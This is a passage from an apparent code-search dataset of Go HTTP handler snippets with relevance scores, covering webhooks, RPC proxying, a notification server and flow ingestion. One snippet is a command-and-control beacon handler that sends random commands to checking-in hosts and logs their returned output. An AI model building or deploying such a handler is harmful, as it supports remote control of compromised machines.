header\")\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\t_ = json.NewEncoder(w).Encode(StatusOk(\"header saved\"))\n\treturn\n}", "title": "" }, { "docid": "faa77c51a6c5e91ea83f57c972f9213c", "score": "0.44425237", "text": "func IncomingWebhook(r *http.Request) error {\n\t// handle authentication\n\tsecret_key := helpers.GetEnv(\"SECRET_KEY\", \"\")\n\tpayload, validationErr := github.ValidatePayload(r, []byte(secret_key))\n\tif validationErr != nil {\n\t\treturn validationErr\n\t}\n\tevent, err := github.ParseWebHook(github.WebHookType(r), payload)\n\tif err != nil {\n\t\tlog.Printf(\"could not parse webhook: err=%s\\n\", err)\n\t\treturn err\n\t}\n\n\tswitch e := event.(type) {\n\tcase *github.IssueCommentEvent:\n\t\tIssueCommentHandler(e)\n\tcase *github.PullRequestEvent:\n\t\tPullRequestHandler(e)\n\tdefault:\n\t\tlog.Printf(\"unknown event type %s\\n\", github.WebHookType(r))\n\t\treturn nil\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7abd88ee4640d44eeab893dad114b772", "score": "0.44387287", "text": "func getHTTPBody(domain string) string{\n\n\treturn \"\"\n}", "title": "" }, { "docid": "49976e4686eded21d63e561e38409362", "score": "0.44309205", "text": "func handler(w http.ResponseWriter, r *http.Request) {\r\n hostname := strings.Split(r.Header.Get(\"User-Agent\"), \" \")\r\n log.Printf(\"Beacon received from %s\", hostname[len(hostname)-1])\r\n\r\n if r.Method == http.MethodGet {\r\n if rand.Float64() > 0.5 {\r\n command := commands[rand.Intn(len(commands))]\r\n io.WriteString(w, command)\r\n log.Printf(\"Sent command %s to %s\", command, hostname[len(hostname)-1])\r\n }\r\n } else if r.Method == http.MethodPost {\r\n data, _ := ioutil.ReadAll(r.Body)\r\n log.Printf(\"Command output received from %s: %s\", hostname[len(hostname)-1], data)\r\n }\r\n}", "title": "" }, { "docid": "07bde6937fb2ea5d4b231e6910d813d9", "score": "0.44296914", "text": "func HTTPHandle(w http.ResponseWriter, r *http.Request) {\n\thandleEvent()\n}", "title": "" }, { "docid": "f841209bff1b10bf80ff098a37d431b1", "score": "0.44280395", "text": "func Handle(req []byte) string {\n\thost := string(req)\n\taddrs, err := net.LookupHost(host)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tresult := ResolveAddrs{\n\t\tDomain: host,\n\t\tAddrs: addrs,\n\t}\n\n\ts, _ := json.Marshal(result)\n\treturn string(s)\n}", "title": "" }, { "docid": "a164db86ee8d20566aaacc95f4eb2c2f", "score": "0.4425249", "text": "func parseNameRequest(r *http.Request) (string, string) {\n\tvar token, caseType string\n\n\tif r.Method == \"GET\" {\n\t\ttoken = getQuery(tokenKey, r)\n\t\tcaseType = getQuery(caseTypeKey, r)\n\t} else if r.Method == \"POST\" {\n\t\tdecoder := json.NewDecoder(r.Body)\n\t\tvar model NamingModel\n\t\terr := decoder.Decode(&model)\n\n\t\tif err == nil {\n\t\t\ttoken = model.Token\n\t\t\tcaseType = model.CaseType\n\t\t} else {\n\t\t\t// incase of any failure let token/case \"\",we are failed to extract it caller should handle with bad request or something\n\t\t\tcommon.Logger.Error(err.Error())\n\t\t}\n\t\treturn token, caseType\n\t}\n\n\treturn token, caseType\n}", "title": "" }, { "docid": "4d7cb05a04547bd7474b368e7e946642", "score": "0.44140404", "text": "func MyRequestHTTP(url string) map[string]interface{} {\n\tvar responseData map[string]interface{}\n\tresponse, err := http.Get(url)\n\n\tfmt.Println(\"Starting my app ... \")\n\n\tif err != nil {\n\t\tfmt.Printf(\"Ups! The HTTP request to \"+url+\" failed with error %s\\n:\", err)\n\t} else {\n\t\tdata, _ := ioutil.ReadAll(response.Body)\n\t\t//initialise an empty interface for my data\n\t\tjsonErr := json.Unmarshal(data, &responseData)\n\t\tif jsonErr != nil {\n\t\t\tfmt.Println(\"error:\", jsonErr)\n\t\t}\n\t\tfmt.Println(\"Request succesfully to \", url, \" ... \")\n\n\t}\n\treturn responseData\n}", "title": "" }, { "docid": "3e02179b14c16a90eccd3dd1bcce8f60", "score": "0.44011125", "text": "func helloFunctionHandler(resp http.ResponseWriter, req *http.Request) {\n\tbody := \"none\"\n\tif req.Method == \"POST\" {\n\t\tbodyBytes, err := ioutil.ReadAll(req.Body)\n\t\tif err == nil {\n\t\t\tbody = string(bodyBytes)\n\t\t}\n\t}\n\n\tlog.Println(\"### helloFunctionHandler invoked, for HTTP route /helloFunction\")\n\tuaParts := strings.Split(req.Header.Get(\"User-Agent\"), \" \")\n\tfuncRuntimeVer := uaParts[len(uaParts)-1]\n\n\thostname, err := os.Hostname()\n\tif err != nil {\n\t\thostname = \"unknown\"\n\t}\n\n\trespData := map[string]string{\n\t\t\"Method\": req.Method,\n\t\t\"Message\": \"Hello from Go running in Azure Functions!\",\n\t\t\"Timestamp\": time.Now().Local().String(),\n\t\t\"FuncRuntime\": funcRuntimeVer,\n\t\t\"InvocationID\": req.Header.Get(\"X-Azure-Functions-InvocationId\"),\n\t\t\"Hostname\": hostname,\n\t\t\"Body\": body,\n\t}\n\n\tjsonResp, err := json.Marshal(respData)\n\tif err != nil {\n\t\thttp.Error(resp, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresp.Header().Set(\"Content-Type\", \"application/json\")\n\tresp.Write(jsonResp)\n}", "title": "" }, { "docid": "5415bced1b6ac134d34af2b4de39306e", "score": "0.4395834", "text": "func HTTPBody(handler http.HandlerFunc, method, url string, values url.Values) string {\n\tw := httptest.NewRecorder()\n\treq, err := http.NewRequest(method, url+\"?\"+values.Encode(), nil)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\thandler(w, req)\n\treturn w.Body.String()\n}", "title": "" }, { "docid": "af9384bb65f949182009b56f9f25e912", "score": "0.43944675", "text": "func (r *EdgesRequest) fromHTTP(req *http.Request) {\n\tr.ToRef = httputil.MustGetBlobRef(req, \"blobref\")\n}", "title": "" }, { "docid": "a82159543a0e25f4e6abe1f27ef6735e", "score": "0.43925908", "text": "func (c *sipClient) handleRequest(msg string) (string, error) {\n\terr := telnetSend(c.conn, msg)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tresp, err := telnetRead(c.conn)\n\treturn resp, err\n}", "title": "" }, { "docid": "f0f72ba34520ef37c2fb3e0a4e59e5d5", "score": "0.43919158", "text": "func (ag agent) ServeHTTP(\n\tw http.ResponseWriter,\n\tr *http.Request) {\n\n\tvar nm notifMsg\n\tvar np notifPayload\n\tvar npr notifProtected\n\tvar nd notif.Notif\n\tvar auth notif.Auth\n\tvar body []byte\n\tvar payload []byte\n\tvar flatload []string //\"flattened\" payload (header.payload.sig each base64)\n\tvar protected []byte\n\tvar err error\n\tvar addr string //auth (POST) or id (PUT, DELE) from URL\n\n\tif r.Method != \"POST\" && r.Method != \"PUT\" && r.Method != \"DELE\" {\n\t\tw.Header().Add(\"Allow\", \"GET, PUT, DELE\")\n\t\tw.WriteHeader(http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Println(\"Read error: \", err)\n\t\treturn\n\t}\n\n\tif r.URL.Path[0:8] == \"/notify/\" { // Remove leading /notify/ if present\n\t\taddr = r.URL.Path[8:]\n\t} else {\n\t\taddr = r.URL.Path[1:]\n\t}\n\n\terr = json.Unmarshal(body, &nm)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Fprint(w, \"Message unmarshal error\")\n\t\treturn\n\t}\n\n\tflatload = strings.SplitN(nm.Payload, \".\", 3)\n\tpayload, err = base64.URLEncoding.DecodeString(pad64(flatload[1]))\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tfmt.Fprint(w, \"Payload base64 decode error\")\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(payload, &np)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tfmt.Fprint(w, \"Payload unmarshal error\")\n\t\treturn\n\t}\n\n\tprotected, err = base64.URLEncoding.DecodeString(pad64(flatload[0]))\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tfmt.Fprint(w, \"Protected headers base64 decode error\")\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(protected, &npr)\n\tif err != nil {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tfmt.Fprint(w, \"Protected headers unmarshal error\")\n\t\treturn\n\t}\n\n\t//TODO: Still need to check to see if expiration is not in the past, etc.\n\t//At this point, basic syntax looks good\n\n\tswitch r.Method {\n\tcase \"POST\":\n\t\terr = findAuth(ag, addr, &auth)\n\t\tif err != nil || auth.Deleted {\n\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\tfmt.Println(\"Authorization not found: \", addr, \" \", err)\n\t\t\tfmt.Fprint(w, \"Authorization not found\")\n\t\t\treturn\n\t\t}\n\n\t\tif !auth.Active {\n\t\t\tw.WriteHeader(http.StatusConflict) // 409 Conflict\n\t\t\tfmt.Fprint(w, \"Inactive authorization\")\n\t\t\treturn\n\t\t}\n\n\t\tif checkSig(npr, w, auth, flatload) {\n\t\t\t//TODO Should there be an error raised here?\n\t\t\treturn\n\t\t}\n\n\t\tif auth.Maxpri > np.Priority {\n\t\t\tfmt.Println(\"Authorized priority \", auth.Maxpri, \" exceeded\")\n\t\t\tnp.Priority = auth.Maxpri\n\t\t\t// Wonder if a different result code should be returned here\n\t\t}\n\n\t\tnd.UserID = auth.UserID\n\t\tnd.To = addr\n\t\tnd.Origtime = np.Origtime\n\t\tnd.Expires = np.Expires\n\t\tnd.Subject = np.Subject\n\t\tnd.From = auth.Domain\n\t\tnd.Description = auth.Description\n\t\tnd.Priority = np.Priority\n\t\tnd.Body = np.Body\n\t\tnd.NotID = uuid.New()\n\t\tnd.RecvTime = time.Now()\n\n\t\t//Update the notification count and time on the authorization\n\n\t\tstmt, err := ag.Db.Prepare(\"UPDATE public.authorization SET count = count+1, latest = $1 WHERE id = $2\")\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Authorization update error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(nd.RecvTime, auth.Id)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Authorization update error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t//Writing the notif itself should probably be common code with other collectors\n\n\t\tstmt, err = ag.Db.Prepare(`INSERT INTO notification (user_id,toaddr,description,origtime,priority,fromdomain,expires,subject,body,notid,recvtime,revcount,read,readtime,source,deleted) VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16)`)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Notification insert prepare error: \", err)\n\t\t\treturn\n\t\t}\n\t\t_, err = stmt.Exec(nd.UserID, nd.To, nd.Description, nd.Origtime, nd.Priority, nd.From, nd.Expires, nd.Subject, nd.Body, nd.NotID, nd.RecvTime, 0, false, nil, \"native\", false)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Notification insert error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t//Update the user's notification count and latest notification time\n\n\t\tstmt, err = ag.Db.Prepare(\"UPDATE userext SET count = count+1, latest = $1 WHERE user_id = $2\")\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Userinfo update error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(nd.RecvTime, auth.UserID)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Userinfo update error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t//Tell the notifier the notification ID in the response\n\t\tresp := \"{ \\\"notid\\\": \\\"\" + nd.NotID + \"\\\" }\"\n\t\tfmt.Println(\"Response: \", resp)\n\t\tfmt.Fprint(w, resp)\n\n\t\tag.CollChan <- nd\n\n\t\t//Read the rules and execute any required push actions\n\t\t//\t\tProcessRules(ag, nd, auth, uinfo)\n\n\tcase \"PUT\": //Modify an existing notif by ID\n\t\terr = findNotif(ag, addr, &nd)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: NotID not found: \", err, \" \", addr)\n\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\tfmt.Fprint(w, \"PUT: Notification ID not found\")\n\t\t\treturn\n\t\t}\n\n\t\terr = findAuth(ag, nd.To, &auth)\n\t\tif err != nil || auth.Deleted {\n\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\tfmt.Fprint(w, \"PUT: Authorization not found\")\n\t\t\treturn\n\t\t}\n\n\t\tif !auth.Active {\n\t\t\tw.WriteHeader(http.StatusConflict) //409 Conflict\n\t\t\tfmt.Fprint(w, \"Inactive authorization\")\n\t\t\treturn\n\t\t}\n\n\t\tif checkSig(npr, w, auth, flatload) {\n\t\t\treturn\n\t\t}\n\n\t\tif nd.Origtime.After(np.Origtime) { //time has gone backwards!\n\t\t\tw.WriteHeader(http.StatusConflict)\n\t\t\tfmt.Fprint(w, \"PUT: Update to later notif\")\n\t\t\treturn\n\t\t}\n\n\t\tnd.Origtime = np.Origtime\n\t\tnd.Expires = np.Expires\n\t\tnd.Subject = np.Subject\n\t\tnd.Priority = np.Priority\n\t\tnd.Body = np.Body\n\t\tnd.RecvTime = time.Now()\n\t\tnd.RevCount = nd.RevCount + 1\n\t\tnd.Read = false\n\t\tnd.UserID = auth.UserID //should already be there, but just in case\n\n\t\tauth.Latest = nd.RecvTime\n\n\t\t// Update latest notification time on userinfo\n\n\t\tstmt, err := ag.Db.Prepare(\"UPDATE userext SET latest = $1 WHERE user_id = $2\")\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: Userinfo update prepare error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(nd.RecvTime, auth.UserID)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: Userinfo update error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Update latest notification time on authorization\n\t\tstmt, err = ag.Db.Prepare(\"UPDATE public.authorization SET latest = $1 WHERE id = $2\")\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: Authorization update prepare error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(nd.RecvTime, auth.Id)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: Authorization update error: \", err)\n\t\t\treturn\n\t\t}\n\n\t\t//Read the rules and execute any required push actions\n\t\t//\t\tProcessRules(ag, nd, auth, uinfo)\n\n\t\tstmt, err = ag.Db.Prepare(\"UPDATE notification SET origtime = $1, expires = $2, subject = $3, priority = $4, body = $5, recvtime = $6, revcount=revcount+1, read=false WHERE notid = $7\")\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: Notif update prepare error: \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprint(w, \"PUT: Error updating Notif\")\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(np.Origtime, np.Expires, np.Subject, np.Priority, np.Body, time.Now(), nd.NotID)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"PUT: Notif update error: \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprint(w, \"PUT: Error updating Notif\")\n\t\t\treturn\n\t\t}\n\n\t\tag.CollChan <- nd\n\n\tcase \"DELE\":\n\t\terr = findNotif(ag, addr, &nd)\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"DELE: Notification ID not found: \", err, \" \", addr)\n\t\t\tw.WriteHeader(http.StatusNotFound)\n\t\t\tfmt.Fprint(w, \"DELE: Notification ID not found\")\n\t\t\treturn\n\t\t}\n\n\t\terr = findAuth(ag, nd.To, &auth)\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"DELE: Authorization not found: \", err, \" \", nd.To)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprint(w, \"DELE: Authorization not found\")\n\t\t\treturn\n\t\t}\n\n\t\tif checkSig(npr, w, auth, flatload) {\n\t\t\treturn\n\t\t}\n\n\t\tnd.Deleted = true\n\t\tnd.RecvTime = time.Now()\n\t\tnd.UserID = auth.UserID //should already be there, but just in case\n\t\tstmt, err := ag.Db.Prepare(\"UPDATE notification SET recvtime = $1, deleted=true WHERE notid = $7\")\n\t\tif err != nil {\n\t\t\tfmt.Println(\"DELE: Notif update prepare error: \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprint(w, \"DELE: Notif update prepare error\")\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(time.Now(), nd.NotID)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"DELE: Notif update error: \", err)\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprint(w, \"DELE: Notif update error\")\n\t\t\treturn\n\t\t}\n\n\t} //method switch\n}", "title": "" }, { "docid": "f02587b0b06a779c1ed8ef4f649d8e05", "score": "0.43895864", "text": "func (api *APIImpl) Hostname(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tif api.hostname != \"\" {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tjson.NewEncoder(w).Encode(api.hostname)\n\t} else {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "f4d64a7a2749c4739f3e85c4659f0103", "score": "0.43892065", "text": "func toHttpHandler(funcInfo *FuncWrapper) func(http.ResponseWriter, *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\targs, err := httpParamsToArgs(funcInfo, r)\n\t\tif err != nil {\n\t\t\tWriteAPIResponse(w, API_INVALID_PARAM, nil, err.Error())\n\t\t\treturn\n\t\t}\n\t\treturns := funcInfo.f.Call(args)\n\t\tresponse, err := returnsToResponse(returns)\n\t\tif err != nil {\n\t\t\tWriteAPIResponse(w, API_ERROR, nil, err.Error())\n\t\t\treturn\n\t\t}\n\t\tWriteAPIResponse(w, API_OK, response, \"\")\n\t}\n}", "title": "" }, { "docid": "35c2c558f03f10ad409d47f5d8622085", "score": "0.43882352", "text": "func (wfmh *WaitForMessageHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\treqParams, err := wfmh.getParams(r)\n\tif err != nil {\n\t\thandlers.RespondBadRequest(w, err)\n\t\treturn\n\t}\n\n\tmsg, err := wfmh.Callback(reqParams.MsgCid, reqParams.BlockHeight)\n\thandlers.Respond(w, msg, err)\n}", "title": "" }, { "docid": "1d49764a7a914e841a5977dca0cba265", "score": "0.43824068", "text": "func Handler(event functions.Event, context functions.Context) (string, error) {\n fmt.Println(event)\n return \"Hello, I heard you said: \" + event.Data, nil\n}", "title": "" }, { "docid": "96ca8599cc6367fd4ff097eaef0763e2", "score": "0.4377038", "text": "func HTTPRequest(method, url string, requestBody io.Reader, auth HTTPAuth) ([]byte, error) {\n\tbody, _, err := HTTPRequestResp(method, url, requestBody, auth, map[string]string{})\n\treturn body, err\n}", "title": "" }, { "docid": "e85824ead4992a9fb4fcf6d840a315b4", "score": "0.43664786", "text": "func (h *rpcHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == \"OPTIONS\" {\n\t\tcors.SetHeaders(w, r)\n\t\treturn\n\t}\n\n\tif r.Method != \"POST\" {\n\t\thttp.Error(w, \"Method not allowed\", http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\tvar service, endpoint, address string\n\tvar request interface{}\n\n\t// response content type\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tct := r.Header.Get(\"Content-Type\")\n\n\t// Strip charset from Content-Type (like `application/json; charset=UTF-8`)\n\tif idx := strings.IndexRune(ct, ';'); idx >= 0 {\n\t\tct = ct[:idx]\n\t}\n\n\tswitch ct {\n\tcase \"application/json\":\n\t\tvar rpcReq rpcRequest\n\n\t\td := json.NewDecoder(r.Body)\n\t\td.UseNumber()\n\n\t\tif err := d.Decode(&rpcReq); err != nil {\n\t\t\terr := errors.InternalServerError(\"go.micro.rpc\", err.Error())\n\t\t\txhttp.WriteError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tservice = rpcReq.Service\n\t\tendpoint = rpcReq.Endpoint\n\t\taddress = rpcReq.Address\n\t\trequest = rpcReq.Request\n\n\t\tif len(endpoint) == 0 {\n\t\t\terr := errors.BadRequest(\"go.micro.rpc\", \"missing endpoint in request\")\n\t\t\txhttp.WriteError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\t// JSON as string\n\t\tif req, ok := rpcReq.Request.(string); ok {\n\t\t\td := json.NewDecoder(strings.NewReader(req))\n\t\t\td.UseNumber()\n\n\t\t\tif err := d.Decode(&request); err != nil {\n\t\t\t\terr := errors.InternalServerError(\"go.micro.rpc\", err.Error())\n\t\t\t\txhttp.WriteError(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\tdefault:\n\t\tr.ParseForm()\n\t\tservice = r.Form.Get(\"service\")\n\t\tendpoint = r.Form.Get(\"endpoint\")\n\t\taddress = r.Form.Get(\"address\")\n\t\tif len(endpoint) == 0 {\n\t\t\tendpoint = r.Form.Get(\"method\")\n\t\t}\n\n\t\td := json.NewDecoder(strings.NewReader(r.Form.Get(\"request\")))\n\t\td.UseNumber()\n\n\t\tif err := d.Decode(&request); err != nil {\n\t\t\terr := errors.InternalServerError(\"go.micro.rpc\", err.Error())\n\t\t\txhttp.WriteError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif len(service) == 0 {\n\t\terr := errors.InternalServerError(\"go.micro.rpc\", \"invalid service\")\n\t\txhttp.WriteError(w, r, err)\n\t\treturn\n\t}\n\n\tif len(endpoint) == 0 {\n\t\terr := errors.InternalServerError(\"go.micro.rpc\", \"invalid endpoint\")\n\t\txhttp.WriteError(w, r, err)\n\t\treturn\n\t}\n\n\t// create request/response\n\tvar response json.RawMessage\n\treq := client.NewRequest(service, endpoint, request, client.WithContentType(\"application/json\"))\n\n\tvar opts []client.CallOption\n\n\ttimeout, _ := strconv.Atoi(r.Header.Get(\"Timeout\"))\n\t// set timeout\n\tif timeout > 0 {\n\t\topts = append(opts, client.WithRequestTimeout(time.Duration(timeout)*time.Second))\n\t}\n\n\t// remote call\n\tif len(address) > 0 {\n\t\topts = append(opts, client.WithAddress(address))\n\t}\n\n\t// set the use of an auth token\n\topts = append(opts, client.WithAuthToken())\n\n\t// since services can be running in many domains, we'll use the resolver to determine the domain\n\t// which should be used on the call\n\tif resolver, ok := h.resolver.(*subdomain.Resolver); ok {\n\t\tif dom := resolver.Domain(r); len(dom) > 0 {\n\t\t\topts = append(opts, client.WithNetwork(dom))\n\t\t}\n\t}\n\n\t// create context\n\tctx := ctx.FromRequest(r)\n\n\t// remote call\n\terr := h.client.Call(ctx, req, &response, opts...)\n\tif err != nil {\n\t\txhttp.WriteError(w, r, err)\n\t\treturn\n\t}\n\n\trsp, err := response.MarshalJSON()\n\tif err != nil {\n\t\terr := errors.InternalServerError(\"go.micro.rpc\", err.Error())\n\t\txhttp.WriteError(w, r, err)\n\t\treturn\n\t}\n\trsp = xhttp.Marshal(ctx, rsp)\n\tw.Header().Set(\"Content-Length\", strconv.Itoa(len(rsp)))\n\tw.Write(rsp)\n}", "title": "" }, { "docid": "65922fa51db6005702bc390fef20af32", "score": "0.43646517", "text": "func main() {\n lambda.Start(handleRequest)\n}", "title": "" }, { "docid": "f1d783dc4e96d9f637d5e72b55fd5ce7", "score": "0.43643445", "text": "func (fb *FunctionBuilder) OnRequest(fn func(w http.ResponseWriter, r *http.Request)) *HTTPFunctionBuilder {\n\treturn &HTTPFunctionBuilder{\n\t\tFunctionBuilder: fb,\n\t\tHandler: fn,\n\t}\n}", "title": "" }, { "docid": "2ef47425031896c0df4bf4c48a72a6f8", "score": "0.43602896", "text": "func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tif r.Body == nil {\n\t\tw.WriteHeader(400)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\tm := messaging.NewMsg(r.URL.Path)\n\tio.Copy(&m, r.Body)\n\tlog.Println(m)\n\tjson.NewEncoder(h.b).Encode(m)\n\tw.WriteHeader(202)\n}", "title": "" }, { "docid": "e2abf36e6c15f4d5584d9561f3b05492", "score": "0.43562862", "text": "func (r *RequestReader) Read(b []byte) (n int, err error) {\n\n\tvar amountRead C.size_t\n\n\terrCode := C.gg_lambda_handler_read(\n\t\tunsafe.Pointer(&b[0]),\n\t\tC.size_t(len(b)),\n\t\t&amountRead)\n\n\tn = int(amountRead)\n\n\tif n == 0 {\n\t\terr = io.EOF\n\t\treturn\n\t}\n\n\tggError := GreenGrassCode(errCode)\n\n\tif ggError != GreenGrassCodeSuccess {\n\t\terr = fmt.Errorf(\"failure to read from handler, code: %d\", ggError)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "5d8c5723e7b94f4bd7c30dd1f9765adb", "score": "0.43538538", "text": "func (kc *KTranslate) handleFlow(w http.ResponseWriter, r *http.Request) {\n\tvar err error\n\n\tif r.Method != http.MethodPost {\n\t\treturn\n\t}\n\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\tkc.metrics.Errors.Mark(1)\n\t\t\tkc.log.Errorf(\"Error handling request: %v\", err)\n\t\t\tfmt.Fprint(w, \"BAD\") // nolint: errcheck\n\t\t} else {\n\t\t\tfmt.Fprint(w, \"GOOD\") // nolint: errcheck\n\t\t}\n\t}()\n\n\t// Decode body in gzip format if the request header is set this way.\n\tbody := r.Body\n\tif r.Header.Get(\"Content-Encoding\") == \"gzip\" {\n\t\tz, err := gzip.NewReader(r.Body)\n\t\tif err != nil {\n\t\t\tkc.log.Errorf(\"There was an eror when decompressing the content: %+v.\", err)\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\tbody = z\n\t}\n\tdefer body.Close()\n\n\t// check company id and other values.\n\tvals := r.URL.Query()\n\tsenderId := vals.Get(HttpSenderID)\n\tcidBase := vals.Get(HttpCompanyID)\n\tcid, _ := strconv.Atoi(cidBase)\n\n\t// Allocate a buffer for the expected size of the incoming data.\n\tvar bodyBufferBytes []byte\n\tcontentLengthString := r.Header.Get(\"Content-Length\")\n\tif contentLengthString != \"\" {\n\t\tsize, err := strconv.Atoi(contentLengthString)\n\t\tif err != nil {\n\t\t\tkc.log.Errorf(\"There was an error when getting the content length: %v.\", err)\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\tif size > 0 &&\n\t\t\tsize < MaxProxyListenerBufferAlloc { // limit in case attacker sets Content-Length\n\t\t\t// superstitiously add extra breathing room to buffer just in case\n\t\t\tbodyBufferBytes = make([]byte, 0, size+(2*bytes.MinRead))\n\t\t}\n\t}\n\n\t// Read all data from the request (possibly gzip decoding, possibly not)\n\tbodyBuffer := bytes.NewBuffer(bodyBufferBytes)\n\t_, err = bodyBuffer.ReadFrom(body)\n\n\tif err != nil {\n\t\tkc.log.Errorf(\"There was an error when reading the body content: %v.\", err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tevt := bodyBuffer.Bytes()\n\n\t// If its http/json data, treat sperately\n\tif r.Header.Get(\"Content-Type\") == \"application/json\" {\n\t\terr = kc.handleJson(kt.Cid(cid), evt)\n\t\treturn\n\t}\n\n\t// If we are sending from before kentik, add offset in here.\n\toffset := 0\n\tif senderId != \"\" && len(evt) > MSG_KEY_PREFIX && // Direct flow without enrichment.\n\t\t(evt[0] == 0x00 && evt[1] == 0x00 && evt[2] == 0x00 && evt[3] == 0x00 && evt[4] == 0x00) { // Double check with this\n\t\toffset = MSG_KEY_PREFIX\n\t}\n\n\t// If we have a kentik sink, send on here.\n\tif kc.kentik != nil {\n\t\tgo kc.kentik.SendKentik(evt, cid, senderId, offset)\n\t}\n\n\t// decompress and read (capnproto \"packed\" representation)\n\tdecoder := capn.NewPackedDecoder(bytes.NewBuffer(evt[offset:]))\n\tdecoder.MaxMessageSize = kentikDefaultCapnprotoDecodeLimit\n\tcapnprotoMessage, err := decoder.Decode()\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// unpack flow messages and pass them down\n\tpackedCHF, err := model.ReadRootPackedCHF(capnprotoMessage)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tmessages, err := packedCHF.Msgs()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tvar sent, dropped int64\n\tnext := 0\n\tfor i := 0; i < messages.Len(); i++ {\n\t\tmsg := messages.At(i)\n\t\tif !msg.Big() { // Don't work on low res data\n\t\t\tif !msg.SampleAdj() {\n\t\t\t\tmsg.SetSampleRate(msg.SampleRate() * 100) // Apply re-sample trick here.\n\t\t\t}\n\n\t\t\t// send without blocking, dropping the message if the channel buffer is full\n\t\t\talpha := &Flow{CompanyId: cid, CHF: msg}\n\t\t\tselect {\n\t\t\tcase kc.alphaChans[next] <- alpha:\n\t\t\t\tsent++\n\t\t\tdefault:\n\t\t\t\tdropped++\n\t\t\t}\n\t\t\tnext++ // Round robin across processing threads.\n\t\t\tif next >= kc.config.Threads {\n\t\t\t\tnext = 0\n\t\t\t}\n\t\t}\n\t}\n\tkc.metrics.Flows.Mark(sent)\n\tkc.metrics.DroppedFlows.Mark(dropped)\n}", "title": "" }, { "docid": "7e0c29689724fcaaca797e5298538462", "score": "0.43522915", "text": "func (app *Application) GetValue(w http.ResponseWriter, r *http.Request) {\r\n\tfmt.Print(\"\\n Inside GetValue Handler 